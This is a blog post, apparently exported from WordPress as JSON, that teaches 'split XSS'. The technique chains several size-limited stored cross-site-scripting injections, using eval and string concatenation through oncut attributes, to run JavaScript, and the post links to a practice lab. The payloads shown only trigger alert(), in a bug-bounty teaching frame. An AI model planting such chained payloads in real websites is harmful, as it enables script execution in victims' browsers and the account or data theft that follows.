{"id":457,"date":"2021-06-12T17:00:46","date_gmt":"2021-06-12T17:00:46","guid":{"rendered":"https:\/\/lyhinslab.org\/?p=457"},"modified":"2021-06-12T17:00:46","modified_gmt":"2021-06-12T17:00:46","slug":"lifehacks-for-hackers-split-xss","status":"publish","type":"post","link":"https:\/\/lscp.llc\/index.php\/2021\/06\/12\/lifehacks-for-hackers-split-xss\/","title":{"rendered":"Lifehacks for hackers: Split XSS"},"content":{"rendered":"\n<p>In case of multiple Stored XSS with the strict size limitation \u2013 consider the following exploitation technique; it would work, even if the size limit doesn\u2019t allow an injection of a single alert() function.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"890\" height=\"473\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2021\/06\/image.png\" alt=\"\" class=\"wp-image-460\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">The base PoC<\/h3>\n\n\n\n<p>Firstly, inject JavaScript. Tag injection would look like this:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"html\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;script>x=\"\"<\/pre>\n\n\n\n<p>To inject in tag attribute, consider:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"html\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\"oncut=x=\"<\/pre>\n\n\n\n<p>The injection in JavaScript would look like this:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"js\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">;x=\"\";<\/pre>\n\n\n\n<p>Change the value of any variable to &#8220;&#8221;, then verify its value in Debugger Watch.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1273\" height=\"246\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2021\/06\/image-1.png\" alt=\"\" class=\"wp-image-462\"\/><\/figure>\n\n\n\n<p>At this point, this issue has no more than Informational severity (P5). But the issue definitely exists, provides opportunities to take control, and therefore should be mentioned.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Payload creation<\/h3>\n\n\n\n<p>The &#8220;alert()&#8221; function, that use to proof XSS issues all the time, requires 7 characters; the more valuable functions  like &#8220;$.getScript()&#8221; require even more characters. In case of 6 chars upper limit &#8211; create a custom payload as below.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"js\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">e=eval\nx='al'\nx+='e'\nx+='r'\nx+='t'\ne(x)()<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Optimization<\/h3>\n\n\n\n<p>In case the target web application helps with completing the HTML syntax &#8211; the process could be more efficient. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\"oncut=\"e=eval\n\"oncut=x=\"aler\n\"oncut=x+=\"t\n\"oncut=\"e(x)()<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Reduce the Human Factor<\/h3>\n\n\n\n<p>If user acts in an unpredictable order &#8211; consider adding of more variables, so the user would not be able to break the exploitation flow.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\"oncut=\"e=eval\n\"oncut=b=\"ale\n\"oncut=c=\"rt\n\"oncut=\"a=b+c\n\"oncut=\"e(a)()<\/pre>\n\n\n\n<p>Try this technique:<br><a href=\"https:\/\/splitxsslab.digi.ninja\/index.php\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/splitxsslab.digi.ninja\/index.php<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In case of multiple Stored XSS with the strict size limitation \u2013 consider the following exploitation technique; it would work, even [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-457","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/457","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/comments?post=457"}],"version-history":[{"count":0,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/457\/revisions"}],"wp:attachment":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/media?parent=457"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/categories?post=457"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/tags?post=457"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}